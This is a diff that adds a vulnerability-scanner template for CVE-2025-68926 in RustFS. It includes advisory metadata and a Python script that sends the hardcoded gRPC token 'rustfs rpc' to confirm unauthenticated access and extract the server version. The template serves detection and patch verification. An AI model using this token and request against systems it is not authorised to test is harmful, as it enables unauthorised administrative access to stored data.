diff --git a/code/cves/2025/CVE-2025-68926.yaml b/code/cves/2025/CVE-2025-68926.yaml new file mode 100644 index 00000000000..39e0857123c --- /dev/null +++ b/code/cves/2025/CVE-2025-68926.yaml @@ -0,0 +1,88 @@ +id: CVE-2025-68926 + +info: + name: RustFS < 1.0.0-alpha.77 - Hardcoded gRPC Authentication Token + author: Chocapikk,bilisheep + severity: critical + description: | + RustFS before 1.0.0-alpha.77 used a hardcoded gRPC authentication token "rustfs rpc" that could not be changed without recompiling and this allowed unauthenticated remote attackers to gain full administrative access to the gRPC API. + impact: | + Full administrative access to RustFS including reading, writing, and deleting all stored data. + remediation: | + Upgrade to RustFS 1.0.0-alpha.77 or later. + reference: + - https://github.com/rustfs/rustfs/security/advisories/GHSA-h956-rh7x-ppgj + - https://nvd.nist.gov/vuln/detail/CVE-2025-68926 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2025-68926 + cwe-id: CWE-798 + metadata: + verified: true + max-request: 1 + vendor: rustfs + product: rustfs + tags: cve,cve2025,rustfs,grpc,auth-bypass,code + +variables: + HOST: "{{Host}}" + PORT: "{{Port}}" + +code: + - engine: + - py + - python3 + + source: | + import socket, os, re + from h2.connection import H2Connection + from h2.config import H2Configuration + from h2.events import DataReceived, TrailersReceived, StreamEnded + + host, port = os.getenv('HOST'), int(os.getenv('PORT')) + sock = socket.create_connection((host, port), timeout=10) + sock.settimeout(5) + + conn = H2Connection(H2Configuration(client_side=True)) + conn.initiate_connection() + sock.sendall(conn.data_to_send()) + + sid = conn.get_next_available_stream_id() + hdrs = [(':method','POST'),(':scheme','http'),(':authority',f'{host}:{port}'), + (':path','/node_service.NodeService/ServerInfo'), + ('content-type','application/grpc'),('authorization','rustfs rpc'),('te','trailers')] + conn.send_headers(sid, hdrs, end_stream=False) + conn.send_data(sid, b'\x00\x00\x00\x00\x00', end_stream=True) + sock.sendall(conn.data_to_send()) + + body, status = b'', None + while True: + data = sock.recv(65535) + if not data: break + for e in conn.receive_data(data): + if isinstance(e, DataReceived): + body += e.data + conn.acknowledge_received_data(e.flow_controlled_length, e.stream_id) + elif isinstance(e, TrailersReceived): + status = dict(e.headers).get(b'grpc-status', b'').decode() + elif isinstance(e, StreamEnded): break + else: sock.sendall(conn.data_to_send()); continue + break + sock.close() + + if status == '0' and len(body) > 5: + m = re.search(rb'(\d+\.\d+\.\d+-alpha\.\d+)', body) + print(m.group(1).decode() if m else 'grpc-auth-bypass') + + matchers: + - type: dsl + dsl: + - 'contains(response, "alpha") || contains(response, "grpc-auth-bypass")' + + extractors: + - type: regex + name: version + regex: + - "(\\d+\\.\\d+\\.\\d+-alpha\\.\\d+|grpc-auth-bypass)" +# digest: 4a0a00473045022015cbdaff0a72de87b3a5238a9133b95eac29d3445d27d1deb3b696b71739d4540221009846fa120f8cff6e1279f73606d6598fa0047298a7f9f01f29663ac5a6795925:2592222ea8b5b5922b8de61fd7ebe9f8 \ No newline at end of file